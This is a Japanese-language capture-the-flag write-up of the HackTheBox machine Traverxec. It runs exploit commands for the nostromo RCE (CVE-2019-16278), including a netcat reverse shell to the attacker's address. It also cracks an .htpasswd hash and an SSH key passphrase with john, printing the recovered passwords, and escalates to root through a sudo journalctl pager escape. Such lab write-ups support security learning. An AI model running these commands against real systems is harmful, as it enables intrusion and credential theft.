【HackTheBox】Traverxec Writeup
Recon
nmap
┌──(kali㉿kali)-[~/traverxec]
└─$ nmap -Pn 10.10.10.165 -T4 -sVC
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-28 01:50 EST
Nmap scan report for 10.10.10.165
Host is up (0.23s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 aa99a81668cd41ccf96c8401c759095c (RSA)
| 256 93dd1a23eed71f086b58470973a388cc (ECDSA)
|_ 256 9dd6621e7afb8f5692e637f110db9bce (ED25519)
80/tcp open http nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
httpサーバーはnostromo 1.9.6
を使っています。
website
トップページはこんな感じでした。下にcontact formがあって、submitするとエラーメッセージが出ます。burpで見てみたらこのメッセージはempty.html
の内容みたいです。
ページをfuzzしてみます。面白そうなページななかったです。
┌──(kali㉿kali)-[~/traverxec]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.10.165 -x html
===============================================================
/css (Status: 301) [Size: 314] [--> http://10.10.10.165/css/]
/Documents and Settings (Status: 501) [Size: 310]
/Documents and Settings.html (Status: 501) [Size: 310]
/empty.html (Status: 200) [Size: 55]
/icons (Status: 301) [Size: 314] [--> http://10.10.10.165/icons/]
/img (Status: 301) [Size: 314] [--> http://10.10.10.165/img/]
/index.html (Status: 200) [Size: 15674]
/index.html (Status: 200) [Size: 15674]
/js (Status: 301) [Size: 314] [--> http://10.10.10.165/js/]
/lib (Status: 301) [Size: 314] [--> http://10.10.10.165/lib/]
/Program Files (Status: 501) [Size: 310]
/Program Files.html (Status: 501) [Size: 310]
/reports list (Status: 501) [Size: 310]
/reports list.html (Status: 501) [Size: 310]
Progress: 9228 / 9230 (99.98%)
===============================================================
vhostもfuzzしてみましたが、それっぽいものがなかったです。
nmapの実行結果を思い出してnostromo 1.9.6
を調べます。
nostromo CVE-2019-16278
CVEが見つけました。RCEができるみたいです。
このPoCを使います。┌──(kali㉿kali)-[~/traverxec]
└─$ ./exploit.sh 10.10.10.165 80 id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
rceできました。ではreverse shellのpayloadで実行してみます。
./exploit.sh 10.10.10.165 80 nc 10.10.14.4 9001 -e /bin/bash
www-dataのシェルが取れました。
Shell as www-data
/homeの中にdavidというユーザーがいます。
全員に実行権限だけがついているのが怪しい、、
www-data@traverxec:/var/nostromo/conf$ ls -l /home
total 4
drwx--x--x 5 david david 4096 Oct 25 2019 david
ウェブサイトのディレクトリをみてみます。
-rw-r--r-- 1 root bin 41 Oct 25 2019 .htpasswd
-rw-r--r-- 1 root bin 2928 Oct 25 2019 mimes
-rw-r--r-- 1 root bin 498 Oct 25 2019 nhttpd.conf
.htpasswd
の中にパスワードのハッシュがありました。johnでクラッキングします。
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/
john --wordlist=/usr/share/wordlists/rockyou.txt davidhash
credentialsはdavid:Nowonly4me
でしたが、これでsshログインもsuもダメでした。reconを続けます。
# MAIN [MANDATORY]
servername traverxec.htb
serverlisten *
serveradmin david@traverxec.htb
serverroot /var/nostromo
servermimes conf/mimes
docroot /var/nostromo/htdocs
docindex index.html
# LOGS [OPTIONAL]
logpid logs/nhttpd.pid
# SETUID [RECOMMENDED]
user www-data
# BASIC AUTHENTICATION [OPTIONAL]
htaccess .htaccess
htpasswd /var/nostromo/conf/.htpasswd
# ALIASES [OPTIONAL]
/icons /var/nostromo/icons
# HOMEDIRS [OPTIONAL]
homedirs /home
homedirs_public public_www
nostromoのconfigurationファイルがこれです。よくわからないのでdocsを読みます、、
HOMEDIRS
To serve the home directories of your users via HTTP, enable the homedirs option by defining the path in where the home directories are stored, normally /home. To access a users home directory enter a ~ in the URL followed by the home directory name like in this example:
http://www.nazgul.ch/~hacki/
The content of the home directory is handled exactly the same way as a directory in your document root. If some users don't want that their home directory can be accessed via HTTP, they shall remove the world readable flag on their home directory and a caller will receive a 403 Forbidden response. Also, if basic authentication is enabled, a user can create an .htaccess file in his home directory and a caller will need to authenticate.
You can restrict the access within the home directories to a single sub directory by defining it via the homedirs_public option.
docsからわかったことは、
-
HOMEDIRS
が設定されていると、ユーザーのhome directoryのコンテンツがserveされる -
.htaccess
のパスワードはbasic認証に使える - homedirs_publicの値がpublic_wwwだから、
http://10.10.10.165/~david/
は/home/david/public_www
のコンテンツになっているはず
ではhttp://10.10.10.165/~david/
にアクセスしてみます。
あれ、何もない、、gobusterでfuzzしてみます。
===============================================================
/Documents and Settings (Status: 501) [Size: 310]
/index.html (Status: 200) [Size: 402]
/Program Files (Status: 501) [Size: 310]
/reports list (Status: 501) [Size: 310]
===============================================================
このprivate space. Nothing here. Keep out!
のページはindex.htmlでした。他にどんなファイルがあるかわからないが、www-dataは/home/david/public_www
のread権限があることがわかりました。シェルの方からディレクトリーにアクセスします。
www-data@traverxec:/home/david/public_www$ ls -l
total 8
-rw-r--r-- 1 david david 402 Oct 25 2019 index.html
drwxr-xr-x 2 david david 4096 Oct 25 2019 protected-file-area
www-data@traverxec:/home/david/public_www$ cd protected-file-area
www-data@traverxec:/home/david/public_www/protected-file-area$ ls
backup-ssh-identity-files.tgz
backup-ssh-identity-files.tgz
にdavidのssh情報が入っているでしょう。このディレクトリーにunzipできないので、/tmpにコピーします。
cp backup-ssh-identity-files.tgz /tmp
unzipします。
tar -xvzf backup-ssh-identity-files.tgz
unzipすると/tmp/home/david/.ssh
にssh private keyがありました。keyをattack boxに移します。
www-data@traverxec:/tmp/home/david/.ssh$ cat id_rsa
cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,477EEFFBA56F9D283D349033D5D08C4F
seyeH/feG19TlUaMdvHZK/2qfy8pwwdr9sg75x4hPpJJ8YauhWorCN4LPJV+wfCG
tuiBPfZy+ZPklLkOneIggoruLkVGW4k4651pwekZnjsT8IMM3jndLNSRkjxCTX3W
KzW9VFPujSQZnHM9Jho6J8O8LTzl+s6GjPpFxjo2Ar2nPwjofdQejPBeO7kXwDFU
[..SNIP..]
-----END RSA PRIVATE KEY-----
このkeyとpassphrase=Nowonly4meでsshログインできなかったです。passphraseをクラックしてみます。
ssh2john davidkey > keyhash
john --wordlist=/usr/share/wordlists/rockyou.txt keyhash
chmod 600 davidkey
credsはdavidkey:hunter
でした。これでsshログインするとdavidのシェルが取れました!
Shell as david
/home/david/bin
にこのスクリプトがありました。
#!/bin/bash
cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
実行してみて、outputがこんな感じです。サーバーの情報とログを出力するコードです。
Load: 04:48:39 up 8:25, 1 user, load average: 0.00, 0.00, 0.00
Open nhttpd sockets: 2
Files in the docroot: 117
Last 5 journal log lines:
-- Logs begin at Wed 2023-12-27 20:23:24 EST, end at Thu 2023-12-28 04:48:39 EST. --
Dec 27 20:23:25 traverxec nhttpd[487]: started
Dec 27 20:23:25 traverxec nhttpd[487]: max. file descriptors = 1040 (cur) / 1040 (max)
Dec 27 20:23:25 traverxec systemd[1]: Started nostromo nhttpd server.
Dec 27 21:32:05 traverxec su[1101]: pam_unix(su:auth): authentication failure; logname= uid=33 euid=0 tty=pts/0 ruser=www-data rhost= user=david
Dec 27 21:32:08 traverxec su[1101]: FAILED SU (to david) www-data on pts/0
最後の/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
が気になります。davidのパスワードがわからないのでsudo -l
で権限を確認できないが、このスクリプトを実行できているってことはrootとしてjournalctlを実行できるでしょう。
とりあえずGTFOBinsでjournalctlを検索します。
使えそうなものが出てきました。
david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl
[sudo] password for david:
journalctlだけ実行するとパスワードが求められます。スクリプトのコードをそのまま実行してみます。
david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Wed 2023-12-27 20:23:24 EST, end at Thu 2023-12-28 04:58:16 EST. --
Dec 27 20:23:25 traverxec nhttpd[487]: started
Dec 27 20:23:25 traverxec nhttpd[487]: max. file descriptors = 1040 (cur) / 1040 (max)
Dec 27 20:23:25 traverxec systemd[1]: Started nostromo nhttpd server.
Dec 27 21:32:05 traverxec su[1101]: pam_unix(su:auth): authentication failure; logname= uid=33 eui
Dec 27 21:32:08 traverxec su[1101]: FAILED SU (to david) www-data on pts/0
ここで!/bin/sh
を入力してenter。
Shell as root
david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Wed 2023-12-27 20:23:24 EST, end at Thu 2023-12-28 04:58:16 EST. --
Dec 27 20:23:25 traverxec nhttpd[487]: started
Dec 27 20:23:25 traverxec nhttpd[487]: max. file descriptors = 1040 (cur) / 1040 (max)
Dec 27 20:23:25 traverxec systemd[1]: Started nostromo nhttpd server.
Dec 27 21:32:05 traverxec su[1101]: pam_unix(su:auth): authentication failure; logname= uid=33 eui
Dec 27 21:32:08 traverxec su[1101]: FAILED SU (to david) www-data on pts/0
!/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
root shellが取れました!
Memo
結局最後まで.htpasswdのパスワードを使わなかったが、http://10.10.10.165/~david/protected-file-area
にアクセスしてdavid:Nowonly4me
で認証するとブラウザーからssh keyをダウンロードすることもできます。
Discussion